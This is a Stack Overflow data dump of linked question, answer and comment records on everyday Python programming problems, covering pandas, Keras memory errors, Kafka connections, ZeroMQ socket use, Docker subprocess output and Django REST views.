has text: This is in fact a good question, albeit on the wrong site. Can someone migrate this to Data Science Stack Exchange please.
type: QuestionComment
comment on: http://stackoverflow.com/q/49502994

http://stackoverflow.com/a/49505763
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86015908
has body: simply remove the info_serializers.save() will solve your problem. I would like to add some suggestion for you, You don't need to override the update() because ModelViewSet class doing all that stuff for you by default, see this official DRF doc Use just class definition for the CRUD application along with default router as below class InfoViews(viewsets.ModelViewSet): queryset = Info.objects.all() serializer_class = InfoSerializer lookup_field = 'id'
has comment: http://stackoverflow.com/comment/86015992
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49505595
answers question: http://stackoverflow.com/q/49505595
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86016512
score: 2

http://stackoverflow.com/comment/86040418
comment on: http://stackoverflow.com/a/49511686
type: AnswerComment
score: 0
has text: Yes now it's good. Another issue - I receive -1 instead of 1 in w matrix, maybe it is because my mask (and data) are not integers by floats. How can I fix this?
type: Comment

http://stackoverflow.com/comment/86135311
type: Comment
comment on: http://stackoverflow.com/a/49562229
has text: Because I didn't enter ALL the values. That would be pointless and would take extra time. I can do that, if you want me to and repost.
score: 0
type: AnswerComment

http://stackoverflow.com/a/49545489
downvote count: 0
has body: Given each call to either of the code-snippets generates another Context()-instance, this constitutes rather an anti-pattern for a reasonable use of resources. A mild read about Zen-of-Zero will soon show the main reasons, why building a (semi-)persistent signalling / messaging layer is the way to go, as the resources allocations / deallocations are always expensive plus leaving so many un-terminated instances will soon deplete any amount of resources available. ZeroMQ tools are far from being used as a one-shot disposable. Efficiency goes hand in hand with minimised resources-related overheads, so indeed best to re-design the ad-hoc creation of never deallocated resources pools and rather prepare all the needed tools before these need to be already active and ready to serve an ad-hoc request. A due re-factoring of the Product has high time to take place. While documentation reports some persistence aided modus-operandi, one ought carefully review its costs/benefits before going into this direction, as Zen-of-Zero is actually considering any sort of sharing a rather anti-pattern for distributed-system design practices, plus warns on: Note It’s important to remember that careless use of persistent sockets can exhaust available file-handles on the machine. function sendLocalSocket( $message, // IS to be get delivered $port // WAS reported to be ){ // all the time the same $context = new ZMQContext( 2, true ); // MAY try persistent CTX $socket = $context-&gt;getSocket( ZMQ::SOCKET_PUSH, "persistLoggerID" // MAY use persistent SOCK ); $socket-&gt;connect( "tcp://127.0.0.1:$port" ); // MAY use less expensive TC $socket-&gt;send( $message, ZMQ::MODE_NOBLOCK // USE non-blocking mode ); $socket-&gt;disconnect( "tcp://127.0.0.1:$port" ); // USE .disconnect() } Final note Quality, robustness and performance of any application depends on how well the language and the language-specific ZeroMQ-binding can respect the native API and reflect the best-practices evolved for using th…
has comment: http://stackoverflow.com/comment/86116013
has comment: http://stackoverflow.com/comment/86115285
score: 1
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86141788
has comment: http://stackoverflow.com/comment/86131122
answers question: http://stackoverflow.com/q/49540621
has comment: http://stackoverflow.com/comment/86115220
has comment: http://stackoverflow.com/comment/86116724
has comment: http://stackoverflow.com/comment/86130088
has comment: http://stackoverflow.com/comment/86099294
accepted answer of: http://stackoverflow.com/q/49540621
type: Answer
has comment: http://stackoverflow.com/comment/86116316
has comment: http://stackoverflow.com/comment/86099307
has comment: http://stackoverflow.com/comment/86276869

http://stackoverflow.com/comment/86204657
type: AnswerComment
has text: The problem is that 'blue' is not one of the values of key 'blue'
comment on: http://stackoverflow.com/a/49598659
type: Comment
score: 0

http://stackoverflow.com/q/49508332
type: Question
has comment: http://stackoverflow.com/comment/86022073
type: UnansweredQuestion
has title: subprocess return '' (empty string) for command `docker exec`
has comment: http://stackoverflow.com/comment/86021602
tagged with: python
has comment: http://stackoverflow.com/comment/86021406
has comment: http://stackoverflow.com/comment/86021260
has body: handle.stdout.read() return '' (empty string) when the command is sudo docker exec -it $DOCKER_ID $SHELL_COMMAND. command = 'sudo docker exec -it %s ls %s' % (docker_id, ssh_dir) handle = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True) command_out = handle.stdout.read() But it can return an expected result by manually executing the command. sudo docker exec -it 0b22bf73a0f5 ls /root/.ssh authorized_keys id_rsa And if the command issudo docker ps | grep $FILETER_STRING, subprocess also works. What's the reason why handle.stdout.read() return ''? Thanks.
has comment: http://stackoverflow.com/comment/86059354
tagged with: docker
has comment: http://stackoverflow.com/comment/86068037
has comment: http://stackoverflow.com/comment/86020923
answer count: 0
tagged with: subprocess
has comment: http://stackoverflow.com/comment/86021664
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/86022045
favorite count: 0

http://stackoverflow.com/q/49523643
tagged with: python
has body: I am new to Kafka and following this tutorial to go through a simple python app. When I run the producer.py, I get below error raise KafkaUnavailableError('All servers failed to process request: %s' % hosts) kafka.errors.KafkaUnavailableError: KafkaUnavailableError: All servers failed to process request: [('localhost', 9092, 0)] Not sure what am I missing? I made sure I start the kafka service by brew services start kafka Any suggestion? My producer.py below; import time import cv2 from kafka import SimpleProducer, KafkaClient # connect to Kafka kafka = KafkaClient('localhost:9092') producer = SimpleProducer(kafka) # Assign a topic topic = 'my-topic' def video_emitter(video): # Open the video video = cv2.VideoCapture(video) print(' emitting.....') # read the file while (video.isOpened): # read the image in each frame success, image = video.read() # check if the file has read to the end if not success: break # convert the image png ret, jpeg = cv2.imencode('.png', image) # Convert the image to bytes and send to kafka producer.send_messages(topic, jpeg.tobytes()) # To reduce CPU usage create sleep time of 0.2sec time.sleep(0.2) # clear the capture video.release() print('done emitting') if __name__ == '__main__': video_emitter('video.mp4')
tagged with: apache-kafka
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49527722
has title: KafkaUnavailableError in python app
tagged with: kafka-python
type: Question
has answer: http://stackoverflow.com/a/49527722
answer count: 1

http://stackoverflow.com/q/49592981
has answer: http://stackoverflow.com/a/49593032
has body: I was trying to analyse a group of data sets. However, I could not find a way to show effectively. I thought maybe groupby() can solve it but I was planning to show all the tables at once and I do not know how should I illustrate it. My other solution is showing each column in a comparison; first, second, then third. This is what I mainly want to achieve E.g.: Mean Std Max Min First_Result_Set Second_Result_Set Third_Result_Set This is my another solution (may not be good): Mean Std Max Min First_Result_Set_first_column Second_Result_Set_first_column Third_Result_Set_first_column Any suggestion or solution would be helpful. Codes: def analyse_data(self, np_array, raw=45, column=3): df = pd.DataFrame(np_array.reshape(raw, column), columns=("Time", "Random Score", "AI Score")) data_result = df.describe() print(data_result) return data_result analyse_cache_ab_classes_depth_5 = file.analyse_data(cache_ab_classes_depth_5) analyse_cache_ab_classes_depth_4 = file.analyse_data(cache_ab_classes_depth_4) analyse_cache_ab_classes_depth_3 = file.analyse_data(cache_ab_classes_depth_3) Output: Time Random Score AI Score count 45.000000 45.000000 45.000000 mean 1.054444 2.355556 12.488889 std 0.423377 2.496867 7.225656 min 0.400000 0.000000 0.000000 25% 0.850000 0.000000 6.000000 50% 0.960000 2.000000 14.000000 75% 1.180000 4.000000 16.000000 max 2.620000 8.000000 28.000000 Time Random Score AI Score count 45.000000 45.000000 45.000000 mean 2.021333 5.644444 35.288889 std 0.889095 4.270169 12.764692 min 0.780000 0.000000 12.000000 25% 1.310000 2.000000 28.000000 50% 1.780000 4.000000 34.000000 75% 2.590000 8.000000 42.000000 max 4.220000 18.000000 76.000000 Time Random Score AI Score count 45.000000 45.000000 45.000000 mean 0.207333 1.822222 15.333333 std 0.077295 2.124413 6.993503 min 0.110000 0.000000 4.000000 25% 0.150000 0.000000 10.000000 50% 0.180000 2.000000 16.000000 75% 0.250000 2.000000 20.000000 max 0.380000 10.000000 30.000000
downvote count: 0
answer count: 1
favorite count: 0
type: Question
tagged with: describe
has title: How can I illustrate Python-Pandas describe() tables in one statement?
tagged with: python
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49593032
tagged with: pandas
upvote count: 2

http://stackoverflow.com/comment/85911944
type: QuestionComment
comment on: http://stackoverflow.com/q/49454465
score: 5
has text: My guess is that the first way runs C code, which is usually faster than python.
type: Comment

http://stackoverflow.com/a/49462558
answers question: http://stackoverflow.com/q/49462520
score: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49462520
type: Answer
has body: You are trying to do is_active on a None object that's why getting error. It should be if user is not None and user.is_active: So, if user is not none and if it is active then login and send to index page.
upvote count: 1

http://stackoverflow.com/comment/86086549
type: AnswerComment
score: 0
has text: @chepner thanks for info :)
comment on: http://stackoverflow.com/a/49539561
type: Comment

http://stackoverflow.com/comment/86090285
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49541307
score: 0
has text: What are the compiler and versions for the different systems?

http://stackoverflow.com/q/49504040
has body: I am interested in running article.text() from the Python Library Newspaper over a number of links (n) that I currently have stored in a (nx1) dataframe (let's call this dataframe df). I would then like to store the results in another column of df. Here is the code that I currently have written: Function: def newspaper_analysis(row): url = row article = Article(url) article.download() article.parse() text = article.text return text Applying it to the dataframe: df['text'] = df.apply(newspaper_analysis) I think that the problem lies within the line "url = row," but I am not sure. If you could advise on how to write a loop through a pandas DataFrame, extract the value from it (a url link), and then pass that link through the newspaper_analysis function I would greatly appreciate it.
tagged with: python-newspaper
type: Question
score: 0
type: UnansweredQuestion
answer count: 1
has title: Write a loop through a pandas DataFrame, extract the value (a url link), and then pass each url link element through a function
has answer: http://stackoverflow.com/a/49504147
tagged with: python

http://stackoverflow.com/q/49458303
tagged with: python
downvote count: 1
has title: why adding b, before string solves TypeError: startswith first arg must be bytes or a tuple of bytes, not str
score: 1
linked to: http://stackoverflow.com/q/2592764
has body: Following the first answer given to question: startswith TypeError in function Why adding the b before the string works, what does it mean?
favorite count: 0
type: Question
tagged with: startswith
tagged with: python-3.x
answer count: 0
duplicate of: http://stackoverflow.com/q/2592764
upvote count: 2
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/19827615

http://stackoverflow.com/q/49458905
has answer: http://stackoverflow.com/a/49506794
has comment: http://stackoverflow.com/comment/85969586
has comment: http://stackoverflow.com/comment/85923056
downvote count: 2
has answer: http://stackoverflow.com/a/49592763
score: 16
tagged with: keras
has comment: http://stackoverflow.com/comment/85969547
has answer: http://stackoverflow.com/a/49498268
has answer: http://stackoverflow.com/a/49663395
tagged with: tensorflow
favorite count: 0
type: Question
has body: I am attempting to predict features in imagery using keras with a TensorFlow backend. Specifically, I am attempting to use a keras ImageDataGenerator. The model is set to run for 4 epochs and runs fine until the 4th epoch where it fails with a MemoryError. I am running this model on an AWS g2.2xlarge instance running Ubuntu Server 16.04 LTS (HVM), SSD Volume Type. The training images are 256x256 RGB pixel tiles (8 bit unsigned) and the training mask is 256x256 single band (8 bit unsigned) tiled data where 255 == a feature of interest and 0 == everything else. The following 3 functions are the ones pertinent to this error. How can I resolve this MemoryError? def train_model(): batch_size = 1 training_imgs = np.lib.format.open_memmap(filename=os.path.join(data_path, 'data.npy'),mode='r+') training_masks = np.lib.format.open_memmap(filename=os.path.join(data_path, 'mask.npy'),mode='r+') dl_model = create_model() print(dl_model.summary()) model_checkpoint = ModelCheckpoint(os.path.join(data_path,'mod_weight.hdf5'), monitor='loss',verbose=1, save_best_only=True) dl_model.fit_generator(generator(training_imgs, training_masks, batch_size), steps_per_epoch=(len(training_imgs)/batch_size), epochs=4,verbose=1,callbacks=[model_checkpoint]) def generator(train_imgs, train_masks=None, batch_size=None): # Create empty arrays to contain batch of features and labels# if train_masks is not None: train_imgs_batch = np.zeros((batch_size,y_to_res,x_to_res,bands)) train_masks_batch = np.zeros((batch_size,y_to_res,x_to_res,1)) while True: for i in range(batch_size): # choose random index in features index= random.choice(range(len(train_imgs))) train_imgs_batch[i] = train_imgs[index] train_masks_batch[i] = train_masks[index] yield train_imgs_batch, train_masks_batch else: rec_imgs_batch = np.zeros((batch_size,y_to_res,x_to_res,bands)) while True: for i in range(batch_size): # choose random index in features index= random.choice(range(len(train_imgs))) rec_imgs_batch[i] = train_imgs[index]…
answer count: 5
type: UnansweredQuestion
has title: Memory error when using Keras ImageDataGenerator
tagged with: python
upvote count: 18
has answer: http://stackoverflow.com/a/49570791
has comment: http://stackoverflow.com/comment/89909288
tagged with: deep-learning

http://stackoverflow.com/comment/86132942
has text: @chrisz, yes, it is except between country and description-just edited it in question
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49562382

http://stackoverflow.com/q/49565639
answer count: 4
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49565906
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/49566225
has body: A B C 0 01:00:00 24 Andrew 1 01:00:00 28 Edd 2 01:00:00 12 Emma 3 01:00:00 18 Fred 4 02:00:00 17 Andrew 5 02:00:00 35 Edd 6 02:00:00 45 Emma 7 02:00:00 14 Fred I want to select one row per each A group, with next conditions: Select the closest B value to 15 (in the case of 02:00:00, the closest value to 15 is 14). If there are two closest value to 15, select the greater of them (in the case of 01:00:00 select 18). Output should be: A B C 3 01:00:00 18 Fred 7 02:00:00 14 Fred
has answer: http://stackoverflow.com/a/49566559
has answer: http://stackoverflow.com/a/49566543
tagged with: conditional-statements
tagged with: pandas
score: 1
has comment: http://stackoverflow.com/comment/86140395
has title: Select rows with closest values in a dataframe

http://stackoverflow.com/q/49571805
accepted answer: http://stackoverflow.com/a/49572528
tagged with: beautifulsoup
type: AnsweredQuestion
score: 0
has title: Access attributes with beautifulSoup and print
has answer: http://stackoverflow.com/a/49572528
type: Question
possible better answer: http://stackoverflow.com/a/49572056
has body: I'd like to scrape a site to findall title attributes of h2 tag Titanic_Caprio Using this code, I'm accessing the entire h2 tag from bs4 import BeautifulSoup import urllib2 url = "http://www.example.it" page = urllib2.urlopen(url) soup = BeautifulSoup(page, 'html.parser') links = soup.findAll('h2') print "".join([str(x) for x in links] ) using findAll('h2', attrs = {'title'}) doesn't have results. What Am I doing wrong? How can I print out the entire title's list in a file?
answer count: 2
has answer: http://stackoverflow.com/a/49572056
tagged with: python

http://stackoverflow.com/a/49577833
has body: this should work file = some_file col_name = raw_input("Enter column name: ") cols_used = ["X",col_name] read_cols = pd.read_csv(file, usecols = cols_used, name =cols_used) test = pd.unique(read_cols["X"]) it seams that skiprows = [0,1] cause problems so probably 0 cause to skip column names.... so try this: read_cols = pd.read_csv(file, usecols = cols_used, skiprows = [1,2], name =cols_used)
has comment: http://stackoverflow.com/comment/86166961
answers question: http://stackoverflow.com/q/49577645
has comment: http://stackoverflow.com/comment/86163517
score: 0
has comment: http://stackoverflow.com/comment/86163539
has comment: http://stackoverflow.com/comment/86163620
type: Answer

http://stackoverflow.com/a/49587715
has body: Right at the beginning you seem to replace a nonreducing max in matlab (it has two arguments, so it will compare those one by one and return a full size P) with a reducing max in python (axis=0 will reduce along this axis, meaning that the result will have one dimension less). My advice, however, is to leave out the max altogether because it looks pretty much like an amateurish attempt of sidestepping the problem of p log p being defined at 0 only via taking the limit p-&gt;0 which using L'Hopital's rule can be shown to be 0, whereas the computer will returm NaN when asked to compute 0 * log(0). The proper way of going about this is using scipy.special.xlogy which treats 0 correctly.
has comment: http://stackoverflow.com/comment/86183108
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86184548
answers question: http://stackoverflow.com/q/49587138
accepted answer of: http://stackoverflow.com/q/49587138
type: Answer

ios
tags question: http://stackoverflow.com/q/49596256
type: Tag
tag name: ios

python-packaging
type: Tag
tags question: http://stackoverflow.com/q/49491282
tags question: http://stackoverflow.com/q/49515001
tag name: python-packaging
tags question: http://stackoverflow.com/q/49487404

http://stackoverflow.com/q/49487533
score: 1
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/85978004
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49501725
tagged with: turtle-graphics
has body: I want some help on Python turtle graphics. I need to create a house which goes each time smaller in a for ... in range() loop. I am creating scenery with three houses composed of basic turtle shapes. Is there a way, when I create a house with basic shapes, I can use a for ... in range() loop to change the house position and make it a little smaller in size? What I am trying so far: def house(turtlename,hs,xroof,xdoor,xwindow,ywindow): housesquare(turtlename,hs) turtlename.pu() turtlename.goto ((int(hs*xroof),int(hs*1))) turtlename.pd() housetriangle(turtlename,hs) turtlename.pu() turtlename.goto((int(hs*xdoor),0 )) turtlename.pd() housedoor(turtlename,hs*0.7,hs*0.3) turtlename.pu() turtlename.goto((int(hs*xwindow), int(hs*ywindow))) turtlename.pd() housesquare(turtlename,hs*0.3) Using this code, I try to draw a second house with smaller size. The goto() command disturbs the whole shape and I have to do it everything manually but the task is to use for ... in range(4) to draw four houses, each to be smaller and placed at a little distance.
tagged with: python
accepted answer: http://stackoverflow.com/a/49501725
has title: Python Turtle graphics scale size and position
type: AnsweredQuestion

http://stackoverflow.com/comment/85934748
comment on: http://stackoverflow.com/a/49465475
has text: @KeyurPotdar, it's a good question. My personal preference is just show the *right* way to encourage good practice. I'd hate for the user to see your solution and just stick with sequential `replace`.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86105664
comment on: http://stackoverflow.com/a/49542539
type: Comment
type: AnswerComment
score: 0
has text: @WILDFIRE Your question was unclear then. For this, you might need to take a look at: [*Python: Extract numbers from a string*](https://stackoverflow.com/questions/4289331/python-extract-numbers-from-a-string)

http://stackoverflow.com/comment/85999851
has text: This was the input I used. (chaCheck2("a.bcd"))
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49497965
score: 0

http://stackoverflow.com/comment/138621454
score: 0
has text: Not wrong, but terribly inefficient!
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/78626363

http://stackoverflow.com/q/49441053
type: Question
answer count: 3
has answer: http://stackoverflow.com/a/49442631
tagged with: pandas
score: 7
has body: I am trying to convert a dataframe to long form. The dataframe I am starting with: df = pd.DataFrame([['a', 'b'], ['d', 'e'], ['f', 'g', 'h'], ['q', 'r', 'e', 't']]) df = df.rename(columns={0: "Key"}) Key 1 2 3 0 a b None None 1 d e None None 2 f g h None 3 q r e t The number of columns is not specified, there may be more than 4. There should be a new row for each value after the key This gets what I need, however, it seems there should be a way to do this without having to drop null values: new_df = pd.melt(df, id_vars=['Key'])'Key', 'value' new_df = new_df.dropna() Key value 0 a b 1 d e 2 f g 3 q r 6 f h 7 q e 11 q t​
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49441128
possible better answer: http://stackoverflow.com/a/49441128
has answer: http://stackoverflow.com/a/49441062
has comment: http://stackoverflow.com/comment/85912116
has comment: http://stackoverflow.com/comment/85884232
accepted answer: http://stackoverflow.com/a/49441062
has title: Convert pandas columns values to row
downvote count: 0
upvote count: 7
favorite count: 0

http://stackoverflow.com/a/49514703
has body: You should be using tf.nn.sigmoid_cross_entropy_with_logits instead of taking the sigmoid and then doing a log to compute the loss. The sigmoid_cross_entropy_with_logits has some internal logic to help prevent numerical underflow/overflow.
type: Answer
accepted answer of: http://stackoverflow.com/q/49500899
answers question: http://stackoverflow.com/q/49500899
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49548431
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86104422
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86104687
has comment: http://stackoverflow.com/comment/86104158
downvote count: 0
has comment: http://stackoverflow.com/comment/86104081
tagged with: python
has comment: http://stackoverflow.com/comment/86105271
score: 2
has title: Loop over two asynchronous generators in Python 2
tagged with: python-2.7
has answer: http://stackoverflow.com/a/49549665
has body: I have two separate generators (in reality they are fed by two separate zero-mq subscribers). I would like to consume them from the same event loop. Something conceptually like this: import time def gen_one(): while True: yield 1 time.sleep(1) def gen_two(): while True: yield 2 time.sleep(1.3) for a in gen_one() or gen_two(): print a # would like to see: # 1 # 2 # 1 # 2 # 1 # 2 # 1 # 1 # 2 # ... Note that this is in Python 2.7. Right now I'm obviously getting 1,1,1,1... I could somehow nest the second iterator into the first one (not looping, but rather checking if there is something to read), but that, at best, would constrain the rate of the inner consumer to the rate of the outer consumer, which is undesirable. Note that zip() is not a good option, for the same reason as mentioned above, in addition to forcing the two generators to have the same rate, which they don't. Any suggestions on how to achieve this? Based on suggestions in comments, something like this might work: from multiprocessing import Process, Queue import time def gen_one(queue): while True: queue.put(1) time.sleep(1) def gen_two(queue): while True: queue.put(2) time.sleep(1.3) queue = Queue() p1 = Process(target=gen_one, args=(queue,)).start() p2 = Process(target=gen_two, args=(queue,)).start() while True: a = queue.get() print a Which gets the job done. Not as direct or elegant as I'd like, but definitely not terrible.
linked to: http://stackoverflow.com/q/3044580
answer count: 1

http://stackoverflow.com/a/49450449
type: Answer
has comment: http://stackoverflow.com/comment/86072122
answers question: http://stackoverflow.com/q/49447770
score: 0
has body: Finding hidden topics in unstructured data like text, which accurately represent the document is called Topic Modelling. Gensim is a great library using which you can find Memos with similar topic. It has LSA and LDA algorithms implemented in python. The difference between LSA and LDA is in their implementation. LSA is a online learning algorithm, which means if the nature of data changes, it will reorient itself. topicmodels is the R package that implements LDA. Here is a quick tutorial on LDA.

http://stackoverflow.com/q/49485198
downvote count: 1
possible better answer: http://stackoverflow.com/a/49486013
favorite count: 0
type: Question
has body: Facing issues while converting date to string, print(type(from_date)) from_date = datetime.datetime.strptime(from_date, '%Y-%m-%d').date() My from_date value is in an ini file, from_date = 2018-01-01 My TraceBack log is, Traceback (most recent call last): File "Flexi_DailyToWeekly.py", line 87, in &lt;module&gt; tuesday = get_data(session,from_keyspace, from_table, to_keyspace, to_table_tuesday, to_table_wednesday, to_table_thursday, to_table_friday, from_date, to_date) File "Flexi_DailyToWeekly.py", line 11, in get_data from_date = datetime.datetime.strptime(from_date, '%Y-%m-%d') TypeError: strptime() argument 1 must be str, not datetime.date' I've used type(from_date) which returns from_date as a string. Also tried, from_date = datetime.datetime.strptime(str(from_date), '%Y-%m-%d').date() still the same error persists. Changed from_date as suggested in the answers below, from_date = "2018-01-01" The error persisits, Traceback (most recent call last): File "Flexi_DailyToWeekly.py", line 82, in &lt;module&gt; from_date = datetime.datetime.strptime(from_date, '%Y-%m-%d').date() File "/usr/lib/python3.5/_strptime.py", line 510, in _strptime_datetime tt, fraction = _strptime(data_string, format) File "/usr/lib/python3.5/_strptime.py", line 343, in _strptime (data_string, format)) ValueError: time data '"2018-01-01"' does not match format '%Y-%m-%d'
upvote count: 5
has comment: http://stackoverflow.com/comment/85973795
tagged with: datetime
has comment: http://stackoverflow.com/comment/85973018
tagged with: python
score: 4
has answer: http://stackoverflow.com/a/49486013
has title: TypeError: strptime() argument 1 must be str, not datetime.date Python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49485261
accepted answer: http://stackoverflow.com/a/49485261
has comment: http://stackoverflow.com/comment/85973031
answer count: 2
has comment: http://stackoverflow.com/comment/85973854

http://stackoverflow.com/comment/85895335
type: QuestionComment
comment on: http://stackoverflow.com/q/49446752
has text: By what percent you want the bias?
score: 1
type: Comment

http://stackoverflow.com/q/49460212
tagged with: pycharm
has comment: http://stackoverflow.com/comment/88860328
has comment: http://stackoverflow.com/comment/85923485
has answer: http://stackoverflow.com/a/56635491
has comment: http://stackoverflow.com/comment/88923570
has title: PyCharm: Process finished with exit code 0
has comment: http://stackoverflow.com/comment/88853944
has answer: http://stackoverflow.com/a/51015249
score: 19
has comment: http://stackoverflow.com/comment/85923634
has answer: http://stackoverflow.com/a/51029092
has answer: http://stackoverflow.com/a/49460322
upvote count: 24
favorite count: 0
has answer: http://stackoverflow.com/a/72082808
type: Question
has comment: http://stackoverflow.com/comment/85923501
has answer: http://stackoverflow.com/a/58493385
has answer: http://stackoverflow.com/a/51007082
has comment: http://stackoverflow.com/comment/88923222
has comment: http://stackoverflow.com/comment/85923481
has answer: http://stackoverflow.com/a/50980613
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/63280236
has answer: http://stackoverflow.com/a/61883867
tagged with: python
linked to: http://stackoverflow.com/q/50919845
downvote count: 5
answer count: 10
has comment: http://stackoverflow.com/comment/85923784
has body: I am new to PyCharm and I have 'Process finished with exit code 0' instead of getting (683, 11) as a result (please see attachment), could you guys help me out please? Much appreciate it!
has comment: http://stackoverflow.com/comment/88923242

http://stackoverflow.com/q/49556847
tagged with: pandas
score: 1
has title: Combine pandas DataFrames by single column in axis 0
accepted answer: http://stackoverflow.com/a/49556891
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49556891
answer count: 2
has body: I would like to combine several pandas DataFrames such as these: (All inputs have a first column P plus a uniquely named second column.) df_b3 = pd.DataFrame({'P': ['l1','l3'], 'b3': ['+','+']}, index=[0,1]) df_ka = pd.DataFrame({'P': ['l1','l2','l3'], 'ka': ['+','+','+']}, index=[0,1,2]) df_kb = pd.DataFrame({'P': ['l2','l3'], 'kb': ['+','+']}, index=[0,1]) The output should be like this: (It should have as many columns as there are inputs, plus one column for P, and there should be only one row for each value in a column P in any input.) P b3 ka kb 0 l1 + + NaN 1 l2 NaN + + 2 l3 + + + A simple pd.concat([df_b3, df_ka, df_kb]) gives me too many rows and NaNs: P b3 ka kb 0 l1 + NaN NaN 0 l1 NaN + NaN 1 l2 NaN + NaN 0 l2 NaN NaN + 1 l3 + NaN NaN 2 l3 NaN + NaN 1 l3 NaN NaN + How can this best be achieved with pandas?
possible better answer: http://stackoverflow.com/a/49556901
downvote count: 0
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/49556901
type: AnsweredQuestion

http://stackoverflow.com/comment/85918327
comment on: http://stackoverflow.com/q/49457618
has text: @MK. - I just found that package. I am going to try it. Hope it works.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49493545
has body: I have two lists. For example: a = [1,None,0,1,None,None] b=[1,0,None,None,0,None] a[i] and b[i] are corresponding values. They will be either be equivalent (eg. where i=0), one will contain a value and the other will be none (eg. i=1) or both will be None (eg. i =5). I wish to collate these lists, to produce a list c: c = [1,0,0,1,0,None] Currently I do it like this: def combinePredictions (a,b): #Naive method to combine lists. Assumes that the lists either have the same value or no value. Not for production use. Only use for testing. i = 0 c = [] for each in range(len(a)): if a[i] == b[i]: c.append(a[i]) elif a[i] == None: c.append(b[i]) elif b[i] == None: c.append(a[i]) i = i +1 return c How can I do this more efficiently?
has answer: http://stackoverflow.com/a/49493667
tagged with: python
possible better answer: http://stackoverflow.com/a/49493715
has answer: http://stackoverflow.com/a/49493810
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49493715
has title: Collate lists based on values
tagged with: list
score: 0
has answer: http://stackoverflow.com/a/49493719
answer count: 4
type: Question
accepted answer: http://stackoverflow.com/a/49493667

http://stackoverflow.com/comment/86162904
comment on: http://stackoverflow.com/a/49556037
has text: I accepted this answer, but I also want to add that a workaround is to turn python chunks into R chunks and just wrap the whole content in the `py_run_string()` function, so whatever you assign in that piece of code is accessible from R by `py$variable_name`.
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/88028103
has text: Thanks Chris, I will try it.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/50457053

http://stackoverflow.com/q/49575756
has comment: http://stackoverflow.com/comment/86160510
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/86159087
has answer: http://stackoverflow.com/a/49575934
tagged with: list
answer count: 2
has comment: http://stackoverflow.com/comment/86160270
upvote count: 3
has comment: http://stackoverflow.com/comment/86159044
score: 1
has body: For loop with enumerate doesn't throw index out of range error while a an element is deleted inside loop? L = [1, 4, 8, 5] try: for i,item in enumerate(L): print("Value of {} is {}".format(i, item)) del L[i] except IndexError as e: print("Index error: {err}.".format(err=e)) Output: Value of 0 is 1 Value of 1 is 8 While this code causes the error L = [1, 4, 8, 5] try: for i in range(len(L)): print("Item:", L[i]) del(L[i]) except IndexError as e: print("Error:", e) Output: Item: 1 Item: 8 Error: list index out of range
linked to: http://stackoverflow.com/q/1207406
has title: python del a element in for loop
favorite count: 0
type: Question
tagged with: enumerate
has answer: http://stackoverflow.com/a/49575823
has comment: http://stackoverflow.com/comment/86159145
type: UnansweredQuestion

http://stackoverflow.com/comment/86071603
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49531567
score: 0
has text: updated the code to always pop the element being searched before searching in the array.

http://stackoverflow.com/q/49520244
answer count: 2
has answer: http://stackoverflow.com/a/49520418
has comment: http://stackoverflow.com/comment/86046150
upvote count: 0
has comment: http://stackoverflow.com/comment/86046280
has comment: http://stackoverflow.com/comment/86046753
tagged with: python
score: -1
tagged with: slice
type: AnsweredQuestion
has body: I am getting error "IndexError: too many indices for array" when i try slice. I can print every field of array, as you can see below: vector = np.random.choice(data) print(vector) vec1 = vector[-1] print(vec1) vec2 = vector[1] print(vec2) (5.5, 2.5, 4., 1.3, 'Iris-versicolor') Iris-versicolor 2.5 When i add that line: vec3 = vector[:-1] I am getting error: IndexError: too many indices for array What could possible be the problem here? //Edit I take my data from iris file names = ['sepal length', 'sepal width', 'petal length', 'petal width', 'class'] data = np.genfromtxt('iris.data', delimiter=',', dtype=None, encoding=None, names=names) I also check type of vecotr print(type(vector)) class 'numpy.void'
has title: Too many indices for array while slicing
downvote count: 1
possible better answer: http://stackoverflow.com/a/49520360
favorite count: 0
accepted answer: http://stackoverflow.com/a/49520418
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/49520360

http://stackoverflow.com/a/49568121
downvote count: 0
score: 3
has body: ..... IOError: [Errno 2] No such file or directory: u' ElementTree.parse() expects location of the XML document in the argument. If you have the content of the XML document, as indicated by the error message above, you should have used ElementTree.fromstring() instead : .... parsed_xml = et.fromstring(xmldata) dfcols = ['col1','col2', 'col3'] ....
has comment: http://stackoverflow.com/comment/108232895
accepted answer of: http://stackoverflow.com/q/49567235
